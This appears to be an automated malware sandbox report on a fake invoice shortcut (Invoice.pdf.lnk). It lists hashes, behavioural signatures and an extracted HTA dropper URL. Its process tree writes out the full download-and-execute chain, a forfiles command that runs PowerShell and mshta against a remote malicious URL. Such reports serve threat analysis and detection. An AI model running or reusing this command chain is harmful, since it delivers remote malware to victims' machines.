Analysis

  • max time kernel
    448s
  • max time network
    1174s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-05-2024 14:57

General

  • Target

    Invoice.pdf.lnk

  • Size

    148KB

  • MD5

    12e2b5c70cc7ba659226a376dc3cc039

  • SHA1

    08f338109566d47a2c0b91e071fabc6781cbd167

  • SHA256

    31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3

  • SHA512

    b1e451265e4409ab4c1492ee5ca903b444d22604b8f0860bbf949107c92ee952f4fd94535116a202579ab75c12860657cb123d6371d1f54d39409c48b82ead31

  • SSDEEP

    24:8WEe6Dz358m+pyAWkr+/4zc+8PxZvBT0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvbc7nvBT7dJ9A6U/a5QW

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
          4⤵
          • Blocklisted process makes network request
          PID:4380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dtom3fip.q4e.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2504-0-0x00007FF841563000-0x00007FF841565000-memory.dmp

    Filesize

    8KB

  • memory/2504-1-0x000002798CA10000-0x000002798CA32000-memory.dmp

    Filesize

    136KB

  • memory/2504-11-0x00007FF841560000-0x00007FF842021000-memory.dmp

    Filesize

    10.8MB

  • memory/2504-12-0x00007FF841560000-0x00007FF842021000-memory.dmp

    Filesize

    10.8MB

  • memory/2504-14-0x00007FF841560000-0x00007FF842021000-memory.dmp

    Filesize

    10.8MB